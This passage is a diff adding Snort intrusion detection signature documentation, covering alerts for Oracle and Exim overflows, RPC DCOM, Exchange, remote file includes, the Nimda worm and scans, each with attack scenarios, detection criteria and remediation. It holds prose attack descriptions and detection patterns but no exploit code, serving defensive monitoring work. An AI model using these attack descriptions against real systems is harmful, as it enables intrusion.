+(it will be necessary to reload the directory before accessing admin 
+functions, of course).
+
+http://www.macromedia.com/support/coldfusion/ts/documents/tn17254.htm
+
+--
+Contributors:
+Original Rule Writer Unknown
+Sourcefire Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+Snort documentation contributed by Darryl Davidson <ddavidson@talisman-intl.com>
+
+-- 
+Additional References:
+
+Allaire Security Bulletin (ASB00-14)
+http://www.macromedia.com/devnet/security/security_zone/asb00-14.html
+
+CVE-2000-0538
+http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2000-0538
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2704.txt
+++ snort-2.8.5.2/doc/signatures/2704.txt
@@ -0,0 +1,64 @@
+Rule: 
+
+--
+Sid: 
+2704
+
+-- 
+Summary: 
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database server.
+
+-- 
+Impact: 
+Serious. Possible execution of arbitrary code and Denial of Service.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database implementation. Multiple buffer
+overflow conditions are present in numerous packages and procedures.
+
+Exploitation of these vulnerable procedures may allow an attacker to
+execute code of their choosing as the user running the database. In the
+case of databases running on Microsoft Windows platforms, this is the
+Local System account which may mean a compromise of the operating system
+as well as the database.
+
+--
+Affected Systems:
+	Oracle iSQLPlus
+
+--
+Attack Scenarios: 
+If an attacker can supply enough data to the procedure in question, it
+may be possible to cause the overflow condition to occur and present the
+attacker with the opportunity to execute code of their choosing.
+
+-- 
+Ease of Attack: 
+Simple.
+
+-- 
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+-- 
+Corrective Action: 
+Apply the appropriate vendor supplied patch
+
+--
+Contributors: 
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Alex Kirk <alex.kirk@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2274.txt
+++ snort-2.8.5.2/doc/signatures/2274.txt
@@ -0,0 +1,61 @@
+Rule:
+
+--
+Sid:
+2274
+
+--
+Summary:
+This event is generated when an attempt is made to gain access to an
+POP3 server using brute force methods.
+
+--
+Impact:
+Attempted remote access.  
+This event may indicate that an attacker is attempting to guess username and password combinations.  
+Alternately, it may indicate that an authorized user has entered an
+incorrect username and password combination a number of times.
+
+--
+Detailed Information:
+An POP3 server will issue an error message after a failed login attempt.  
+This may be an indication of an attacker attempting brute force guessing 
+of username and password combinations.  It is also possible that an authorized 
+user has incorrectly entered a legitimate username and password combination.  
+
+This event will be generated after a number of failed attempts.
+
+--
+Affected Systems:
+POP3 servers.
+
+--
+Attack Scenarios:
+An attacker may attempt to guess username and password combinations.
+
+--
+Ease of Attack:
+Simple
+
+--
+False Positives:
+This event may be triggered by a failed POP3 login attempt from a remote user.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/100000133.txt
+++ snort-2.8.5.2/doc/signatures/100000133.txt
@@ -0,0 +1,63 @@
+Rule: 
+
+--
+Sid: 
+100000133
+
+-- 
+Summary: 
+This event is generated when an attempt is made to cause a denial of service 
+against the Xeneo web server by sending it a request with an overly large 
+number of "?" characters.
+
+-- 
+
+Impact: 
+A denial of service will occur, and it may be possible to execute arbitrary 
+code with the privileges of the user running the web server.
+
+--
+Detailed Information:
+The denial of service is triggered when a GET request is made with more than 
+4096 "?" characters. The rule actually looks for 250 consecutive "?" 
+characters, as even that should never occur, and looking for a smaller number 
+increases the rule's performance.
+
+--
+Affected Systems:
+Northern Solutions Xeneo Web Server 2.2.10
+
+--
+
+Attack Scenarios: 
+This vulnerability may be exploited with a web browser or an automated script.
+
+-- 
+
+Ease of Attack: 
+Simple, as a web browser can be used.
+
+-- 
+
+False Positives:
+If a valid request contains more than 250 and less than 4096 consecutive "?" 
+characters, a false positive will be generated.
+
+--
+False Negatives:
+None Known
+
+-- 
+
+Corrective Action: 
+Currently, no patches or upgrades are available from the vendor, and no 
+workarounds are known.
+
+--
+Contributors: 
+Alex Kirk <alex.kirk@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/3306.txt
+++ snort-2.8.5.2/doc/signatures/3306.txt
@@ -0,0 +1,70 @@
+Rule:
+
+--
+Sid:
+3306
+
+--
+Summary:
+This rule generates an event when an attempt is made to exploit a known 
+vulnerability in Microsoft RPC DCOM.
+
+--
+Impact:
+Execution of arbitrary code leading to full administrator access of the 
+machine. Denial of Service (DoS).
+
+--
+Detailed Information:
+A vulnerability exists in Microsoft RPC DCOM such that execution of 
+arbitrary code or a Denial of Service condition can be issued against a 
+host by sending malformed data via RPC.
+
+The Distributed Component Object Model (DCOM) handles DCOM requests sent
+by clients to a server using RPC. A malformed request to an RPC port 
+will result in a buffer overflow condition that will present the 
+attacker with the opportunity to execute arbitrary code with the 
+privileges of the local system account.
+
+--
+Affected Systems:
+	Windows NT 4.0
+	Windows NT 4.0 Terminal Server Edition
+	Windows 2000
+	Windows XP
+	Windows Server 2003
+
+--
+Attack Scenarios:
+An attacker may make a request for a file with an overly long filename 
+via a network share.
+
+--
+Ease of Attack:
+Simple. Expoit code exists.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches.
+
+Block access to RPC ports 135, 139 and 445 for both TCP and UDP 
+protocols from external sources using a packet filtering firewall.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2487.txt
+++ snort-2.8.5.2/doc/signatures/2487.txt
@@ -0,0 +1,63 @@
+Rule:
+--
+
+Sid:
+2487
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a buffer overflow 
+associated with winzip's processing of certain MIME archive files. 
+
+--
+Impact:
+A successful attack may permit a buffer overflow that allows the execution
+of arbitrary code at the privilege level of the user running winzip.
+
+--
+Detailed Information:
+Winzip is a program that is used for file compression on Windows hosts.
+A buffer overflow exists when parsing specific header fields for certain 
+MIME file types.  An overly long value passed to specific Content-Type attributes
+may trigger the buffer overflow and allow the execution of arbitrary code
+in the context of the user running winzip.
+
+--
+Affected Systems:
+Winzip 6.x, 7.x, 8.0, 8.1 SR-1, 8.1, Winzip 9.0 beta versions
+
+--
+Attack Scenarios:
+An attacker can entice a user to open a malformed MIME file that will
+invoke winzip to process it, possibly causing a a buffer overflow 
+and the subsequent execution of arbitrary code on the vulnerable host.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Upgrade to the latest non-affected version of the software.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Judy Novak <judy.novak@sourcefire.com>
+
+--
+Additional References
+
+Bugtraq:
+http://securityfocus.com/bid/9758
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1986.txt
+++ snort-2.8.5.2/doc/signatures/1986.txt
@@ -0,0 +1,57 @@
+Rule:
+
+--
+Sid: 1986
+
+--
+Summary:
+This event is generated when activity relating to network chat clients is detected.
+
+--
+Impact:
+Policy Violation. Use of chat clients to communicate with unkown external sources may be against the policy of many organizations.
+
+--
+Detailed Information:
+Instant Messaging (IM) and other chat related client software can allow users to transfer files directly between hosts. This can allow malicious users to circumvent the protection offered by a network firewall.
+
+Vulnerabilities in these clients may also allow remote attackers to gain unauthorized access to a host.
+
+--
+Attack Scenarios:
+A user may transfer sensitive company information to an external party using the file transfer capabilities of an IM client.
+
+An attacker might utilize a vulnerability in an IM client to gain access to a host, then upload a Trojan Horse program to gain control of that host.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+--
+Corrective Action:
+Disallow the use of IM clients on the protected network and enforce or implement an organization wide policy on the use of IM clients.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <brian.caswell@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+MSN Protocol
+http://www.hypothetic.org/docs/msn/
+Devarticles
+http://www.devarticles.com/index2.php?option=content&task=view&id=225&pop=1&hide_ads=1&page=1
+MSN Messenger Protocol
+http://www.venkydude.com/articles/msn.htm
+
+--
--- snort-2.8.5.2.orig/doc/signatures/100000491.txt
+++ snort-2.8.5.2/doc/signatures/100000491.txt
@@ -0,0 +1,73 @@
+Rule:
+
+--
+Sid:
+100000491
+--
+Summary:
+This event is generated when an attempt is made to exploit a remote file 
+include vulnerability in the "DeluxeBB" application running on a webserver. 
+Access to the file "posting.php" using a remote file being passed as the 
+"templatefolder" parameter may indicate that an exploitation attempt has been 
+attempted. 
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized 
+administrative access to the server or application. Possible execution of 
+arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to include a file from a 
+remote machine via the "templatefolder" parameter in the "posting.php" script 
+used by the "DeluxeBB" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also 
+be possible for an attacker to execute system binaries or malicious code of the 
+attackers choosing.
+
+This event is generated when an attempt is made to gain unauthorized access to 
+a CGI application running ona web server. Some applications do not perform 
+stringent checks when validating the credentials of a client host connecting to 
+the services offered on a host server. This can lead to unauthorized access and 
+possibly escalated privileges to that of the administrator. Data stored on the 
+machine can be compromised and trust relationships between the victim server 
+and other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+All systems running CGI applications using DeluxeBB
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her own 
+credentials to gain access. Alternatively the attacker can exploit weaknesses 
+to gain access as the administrator by supplying input of their choosing to the 
+underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had 
+all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+--
+Additional References:
+
+--
+
--- snort-2.8.5.2.orig/doc/signatures/1165.txt
+++ snort-2.8.5.2/doc/signatures/1165.txt
@@ -0,0 +1,71 @@
+Rule:
+
+--
+Sid:
+1165
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability on a web server or a web application resident on a web
+server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server. Possible execution of arbitrary code of 
+the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to compromise a host
+running a Web server or a vulnerable application on a web server.
+
+Many known vulnerabilities exist for each implementation and the 
+attack scenarios are legion.
+
+Some applications do not perform stringent checks when validating the
+credentials of a client host connecting to the services offered on a
+host server. This can lead to unauthorized access and possibly escalated
+privileges to that of the administrator. Data stored on the machine can
+be compromised and trust relationships between the victim server and 
+other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+	All systems using a web server.
+
+--
+Attack Scenarios:
+Many attack vectors are possible from simple directory traversal to
+exploitation of buffer overflow conditions.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+Check the host logfiles and application logs for signs of compromise.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/124-1.txt
+++ snort-2.8.5.2/doc/signatures/124-1.txt
@@ -0,0 +1,75 @@
+Rule:
+
+--
+Sid:
+124-1
+
+--
+Summary:
+This event is generated when the pre-processor xlink2state
+detects network traffic that may constitute an attack. Specifically this
+event is generated when an attempt is made to overflow a static buffer
+associated with the extended verb "X-LINK2STATE" in a possible attempt
+to exploit a known vulnerability in Microsoft Exchange Server.
+
+--
+Impact:
+Execution of arbitrary code leading to full administrator access of the 
+machine. Denial of Service (DoS).
+
+--
+Detailed Information:
+Microsoft Exchange Servers are able to use extensions to the SMTP
+protocol to help communicate between Exchange servers. The
+"X-Link2State" verb is used to share routing information between
+Exchange servers.
+
+A buffer overflow condition in the processing of this command may
+present an attacker with the opportunity to execute code of their
+choosing on an affected host.
+
+While some of the extended verbs can be disabled easily by an
+Administrator, this particular command cannot. The affected dynamic link
+library (DLL) must be unregistered. Refer to MS05-021 for details on how
+to unregister the DLL.
+
+--
+Affected Systems:
+	Microsoft Exchange Server 2000 sp3
+	Microsoft Exchange Server 2003
+	Microsoft Exchange Server 2003 sp1
+
+--
+Attack Scenarios:
+An attacker can supply a malicious verb request using the "X-Link2State"
+verb to cause a buffer overflow.
+
+--
+Ease of Attack:
+Simple. Exploit code exists.
+
+--
+False Positives:
+This event will generate events in an environment where the use of
+extended verbs between Exchange servers is commonplace.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches.
+
+Disable the use of the Microsoft SMTP extensions.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2293.txt
+++ snort-2.8.5.2/doc/signatures/2293.txt
@@ -0,0 +1,65 @@
+Rule:
+
+--
+Sid:
+2293
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability in the PHP web application Proxy2.de Advanced Poll 2.0.2
+running on a server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server or application. Possible execution
+of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt may have been made to exploit a
+known vulnerability in the PHP application Proxy2.de Advanced Poll
+2.0.2. This application does not perform stringent checks when handling
+user input, this may lead to the attacker being able to execute PHP
+code, include php files and possibly retrieve sensitive files from the
+server running the application.
+
+--
+Affected Systems:
+	All systems running Proxy2.de Advanced Poll 2.0.2
+
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her
+own credentials to gain access. Alternatively the attacker can exploit
+weaknesses to gain access as the administrator by supplying input of
+their choosing to the underlying PHP script.
+
+--
+Ease of Attack:
+Simple. No exploit code is required.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2494.txt
+++ snort-2.8.5.2/doc/signatures/2494.txt
@@ -0,0 +1,61 @@
+Rule:
+
+--
+Sid:
+2494
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known
+vulnerability in the Microsoft RPC service.
+
+--
+Impact:
+Denial of Service (DoS). Possible execution of arbitrary code leading to
+unauthorized remote access to the victim host.
+
+--
+Detailed Information:
+It may be possible for an attacker to cause a DoS condition in the
+Microsoft RPC service when multiple simultaneous requests are made to a
+vulnerable host. This can lead to an exhaustion of system resources
+causing the DoS.
+
+--
+Affected Systems:
+	Windows systems running RPC services
+
+--
+Attack Scenarios:
+An attacker may attempt to bind to the RPC service many times in an
+attempt to cause the DoS condition to occur.
+
+--
+Ease of Attack:
+Difficult.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Block access to RPC ports 135, 139 and 445 for both TCP and UDP 
+protocols from external sources using a packet filtering firewall.
+
+Apply the appropriate vendor supplied patches
+
+--
+Contributors:
+Sourcefire Research Team
+Matt Watchinski <mwatchinski@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1289.txt
+++ snort-2.8.5.2/doc/signatures/1289.txt
@@ -0,0 +1,59 @@
+Rule:
+
+--
+Sid:
+1289
+
+--
+Summary:
+This event is generated when an exploited Internet Information Server (IIS) host attempts to perform a tftp download of the file admin.dll to infect the host with the nimda worm. 
+
+--
+Impact:
+Administrator access.  A successful attack can allow remote execution of commands with administrator privleges.
+
+--
+Detailed Information:
+The nimda worm uses multiple propagation methods.  One method exploits a victim Internet Information Server (IIS) using a unicode directory traversal attack to execute commands on the target server.  An attempt is made to execute a tftp download of the file admin.dll from the infected attacking host to the victim server.  The admin.dll file is a copy of the nimda worm that is activated on the newly infected victim server.  This event is triggered if the IIS server is exploitable and the tftp transfer is attempted.
+
+--
+Affected Systems:
+Hosts running Microsoft IIS 4.0 and 5.0.
+
+--
+Attack Scenarios:
+The worm will attempt to remotely exploit a unicode directory vulnerability to infect an IIS server by executing a tftp download of the nimda worm.
+
+--
+Ease of Attack:
+Simple.  
+
+--
+False Positives:
+None Known.
+
+--
+False Negatives:
+None Known.
+
+--
+Corrective Action:
+Apply the appropriate patch referenced in Microsoft Security Bulletin MS00-078.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com> 
+Nigel Houghton <nigel.houghton@sourcefire.com>
+Judy Novak <judy.novak@sourcefire.com>
+
+--
+Additional References:
+
+CERT:
+http://www.cert.org/advisories/CA-2001-26.html
+
+Microsoft:
+http://www.microsoft.com/technet/Security/Bulletin/ms00-078.asp
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2595.txt
+++ snort-2.8.5.2/doc/signatures/2595.txt
@@ -0,0 +1,68 @@
+Rule:
+
+
+--
+Sid:
+2595
+
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a buffer overflow
+associated with the Mail Transfer Agent Exim.
+
+--
+Impact:
+A successful attack may allow the execution of arbitrary code on a vulnerable
+server with the privilege of the process running Exim.
+
+--
+Detailed Information:
+Exim is vulnerable to a buffer overflow, permitting an attacker to execute
+arbitrary code.  The vulnerability may be exploited if Exim is configured to
+verify header syntax in the e-mail message body.  This is not the default
+configuration.  If an attacker supplies a large number of spaces after certain
+header fields, it may be possible to cause a buffer overflow.
+
+--
+Affected Systems:
+Exim prior to version 4.34
+
+--
+Attack Scenarios:
+An attacker can create and send mail with a malformed header,
+possibly causing a buffer overflow and permitting the execution of arbitrary code.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+--
+Corrective Action:
+Upgrade to the latest non-affected version of the software.
+
+--
+Contributors:
+Sourcefire Research Team
+Judy Novak <judy.novak@sourcefire.com>
+
+--
+Additional References
+
+Bugtraq:
+http://www.securityfocus.com/bid/10291
+
+CVE:
+http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-0400
+
+Other:
+http://www.guninski.com/exim1.html
+
+--
--- snort-2.8.5.2.orig/doc/signatures/339.txt
+++ snort-2.8.5.2/doc/signatures/339.txt
@@ -0,0 +1,95 @@
+Rule:  
+
+--
+Sid:
+339
+
+--
+Summary:
+
+--
+Impact:
+Severe; This is a remote exploit that could result in a root compromise.
+
+--
+Detailed Information:
+There is an off-by-one error in the replydirname() function in the BSD FTP deamon which is also present in many derivitave works.  This vulnerability allows an attacker to overflow the buffer by one byte, overwriting the first byte of the return pointer on the stack.
+
+--
+Affected Systems:
+	BSD ftpd 0.3.2
+	 + Progeny Debian 1.0
+	David A. Holland linux-ftpd 0.17
+	 + Progeny Debian 1.0
+	David Madore ftpd-BSD 0.2.3
+	  - Caldera OpenLinux 2.2
+	  - Caldera OpenLinux 2.3
+	  - Caldera OpenLinux 2.4
+	  - Debian Linux 2.0
+	  - Debian Linux 2.1
+	  - Debian Linux 2.2
+	  - Debian Linux 2.3
+	  - MandrakeSoft Linux Mandrake 6.0
+	  - MandrakeSoft Linux Mandrake 6.1
+	  - MandrakeSoft Linux Mandrake 7.0
+	  - MandrakeSoft Linux Mandrake 7.1
+	  - MandrakeSoft Linux Mandrake 7.2
+	  - RedHat Linux 5.0
+	  - RedHat Linux 6.0 x
+	  - RedHat Linux 7.0
+	  - Slackware Linux 4.0
+	  - Slackware Linux 7.0
+	  - Slackware Linux 7.1
+	NetBSD NetBSD 1.4
+	NetBSD NetBSD 1.4.1
+	NetBSD NetBSD 1.4.2
+	NetBSD NetBSD 1.5
+	OpenBSD 2.4
+	OpenBSD 2.5
+	OpenBSD 2.6
+	OpenBSD 2.7
+	OpenBSD 2.8
+Note: OpenBSD ships with the FTP daemon turned off, so this is not on by default.
+
+--
+Attack Scenarios:
+The attacker could log into a vulnerable OpenBSD anonymous FTP server, calculate the buffer size, fill the buffer and over write the lowest byte on the base pointer with a null byte.  This would result in the attacker controling that space on the stack, with full access to control the host at will.
+
+--
+Ease of Attack:
+Simple; there are script versions of this exploit in the wild.
+
+--
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+--
+Corrective Action:
+Update your machine to the latest version of OpenBSD.  If you are running OpenBSD 2.8, use the following patch: http://www.securityfocus.com/data/vulnerabilities/patches/005_ftpd.patch
+
+--
+Contributors:
+Original rule written by Max Vision <vision@whitehats.com>
+Sourcefire Research Team
+Mike Poor <mike.poor@sourcefire.com>
+
+-- 
+Additional References:
+
+Arachnids
+http://www.whitehats.com/info/IDS446
+
+Bugtraq
+http://www.securityfocus.com/bid/2124
+
+CVE
+http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2001-0053
+
+OpenBSD
+http://www.openbsd.org/errata28.html#ftpd
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1271.txt
+++ snort-2.8.5.2/doc/signatures/1271.txt
@@ -0,0 +1,61 @@
+Rule:  
+
+--
+Sid:
+1271
+
+--
+Summary:
+This event is generated when an attempt is made to probe a host for the
+rusers RPC service.
+
+--
+Impact:
+Information gathering.
+
+--
+Detailed Information:
+The rusers RPC service is used to remotely list all logged in users on a
+machine. This information may be useful to an attacker when targeting a
+remote host.
+
+--
+Affected Systems:
+	All systems running the rusers RPC service
+ 
+--
+Attack Scenarios:
+An attacker runs a vulnerability assessment tool, or the standard Unix
+rusers command.  The attacker may use information gleaned from this to
+better target his attacks.
+
+--
+Ease of Attack:
+Simple. Tools to probe the rusers service come standard with most Unix variants.
+
+--
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+--
+Corrective Action:
+Disable the rusers service.
+
+Disallow access to RPC services from hosts external to the protected
+network
+
+--
+Contributors:
+Original rule writer unknown
+Original document author unkown
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/3030.txt
+++ snort-2.8.5.2/doc/signatures/3030.txt
@@ -0,0 +1,67 @@
+Rule: 
+
+--
+Sid: 
+3030
+
+-- 
+Summary: 
+This event is generated when an attempt is made to exploit a known
+vulnerability in a Samba implementation.
+
+-- 
+Impact: 
+Serious. Possible execution of arbitrary code.
+
+--
+Detailed Information:
+Samba is a file and print serving system for heterogenous networks. It
+is available for use as a service and client on UNIX/Linux systems and as
+a client for Microsoft Windows systems.
+
+Samba uses the SMB/CIFS protocols to allow communication between client
+and server. The SMB protocol contains many commands and is commonly used
+to control network devices and systems from a remote location. A
+vulnerability exists in the way the smb daemon processes commands sent by
+a client system when accessing resources on the remote server.The problem
+exists in the allocation of memory which can be exploited by an attacker
+to cause an integer overflow, possibly leading to the execution of
+arbitrary code on the affected system with the privileges of the user
+running the smbd process.
+
+--
+Affected Systems:
+	Samba 3.0.8 and prior
+
+--
+Attack Scenarios: 
+An attacker needs to supply specially crafted data to the smb daemon to
+overflow a buffer containing the information for the access control lists
+to be applied to files in the smb query.
+
+-- 
+Ease of Attack: 
+Difficult.
+
+-- 
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+-- 
+Corrective Action: 
+Apply the appropriate vendor supplied patch
+
+--
+Contributors: 
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/100000393.txt
+++ snort-2.8.5.2/doc/signatures/100000393.txt
@@ -0,0 +1,58 @@
+
+
+Rule:
+
+--
+Sid:
+100000393
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a remote file include vulnerability in the "Ovidentia" application running on a webserver. Access to the file "start.php" using a remote file being passed as the "babInstallPath" parameter may indicate that an exploitation attempt has been attempted. 
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized administrative access to the server or application. Possible execution of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to include a file from a remote machine via the "babInstallPath" parameter in the "start.php" script used by the "Ovidentia" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also be possible for an attacker to execute system binaries or malicious code of the attackers choosing.
+
+This event is generated when an attempt is made to gain unauthorized access to a CGI application running ona web server. Some applications do not perform stringent checks when validating the credentials of a client host connecting to the services offered on a host server. This can lead to unauthorized access and possibly escalated privileges to that of the administrator. Data stored on the machine can be compromised and trust relationships between the victim server and other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+All systems running CGI applications using Ovidentia
+
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her own credentials to gain access. Alternatively the attacker can exploit weaknesses to gain access as the administrator by supplying input of their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
+
--- snort-2.8.5.2.orig/doc/signatures/947.txt
+++ snort-2.8.5.2/doc/signatures/947.txt
@@ -0,0 +1,62 @@
+Rule:
+
+--
+Sid:
+947
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability in a web server running Microsoft FrontPage
+Server Extensions.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server or application. Possible execution
+of arbitrary code of the attackers choosing in some cases. Denial of
+Service is possible.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to compromise a host
+running Microsoft FrontPage Server Extensions. Many known
+vulnerabilities exist for this platform and the attack scenarios are
+legion.
+
+--
+Affected Systems:
+	All systems running Microsoft FrontPage Server Extensions
+
+--
+Attack Scenarios:
+Many attack vectors are possible from simple directory traversal to
+exploitation of buffer overflow conditions.
+
+--
+Ease of Attack:
+Simple. Many exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1359.txt
+++ snort-2.8.5.2/doc/signatures/1359.txt
@@ -0,0 +1,56 @@
+Rule: 
+
+--
+Sid: 1359
+
+-- 
+Summary: 
+A web command execution attack involving the use of a "ping" command
+
+-- 
+Impact: 
+Possible intelligence gathering activity. 
+
+-- 
+Detailed Information: 
+The attacker may have gained the ability to execute system commands remotely or the web server may be incorrectly configured to allow such access.
+
+This rule generates an event when a "ping" command is used over a plain-text (unencrypted) connection on one of the specified web ports to the target web server. The "ping" command may be used to perform information gathering activities.
+
+The rule looks for the "ping" command in the client to web server network traffic and does not indicate whether the command was actually successful. The presence of the "ping" command in the URI indicates that an attacker attempted to trick the web server into executing system in non-interactive mode i.e. without a valid shell session.
+
+Alternatively this rule may generate an event in an unencrypted HTTP tunneling connection to the server or a shell connection via another exploit against the web server.
+
+-- 
+Attack Scenarios: 
+An attacker uses a "ping" command to perform anonymous reconnaissance
+
+--
+Ease of Attack: 
+Simple. No exploit software required
+
+-- 
+False Positives: 
+none known
+
+--
+False Negatives: 
+none known
+
+-- 
+Corrective Action: 
+Check the web server software for vulnerabilities and possible upgrades or patches for the system to the latest version of the web software, also investigate the server logs for signs of compromise
+
+Webservers should not be allowed to view or execute files and binaries outside of it's designated web root or cgi-bin. Disallowing execution of this binary via a URI is suggested.
+
+--
+Contributors: 
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+Snort documentation contributed by Anton Chuvakin <http://www.chuvakin.org>
+
+-- 
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/635.txt
+++ snort-2.8.5.2/doc/signatures/635.txt
@@ -0,0 +1,63 @@
+Rule:
+
+--
+Sid:
+635
+
+--
+Summary:
+This event is generated when a scan is detected. 
+
+--
+Impact:
+Information gathering.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to scan a host.
+
+This may be the prelude to an attack. Scanners are used to ascertain 
+which ports a host may be listening on, whether or not the ports are 
+filtered by a firewall and if the host is vulnerable to a particular 
+exploit.
+
+--
+Affected Systems:
+Any host.
+
+--
+Attack Scenarios:
+An attacker can determine if ports 21 and 20 are being used for FTP. 
+Then the attacker might find out that the FTP service is vulnerable to a
+particular attack and is then able to compromise the host.
+
+--
+Ease of Attack:
+Simple.
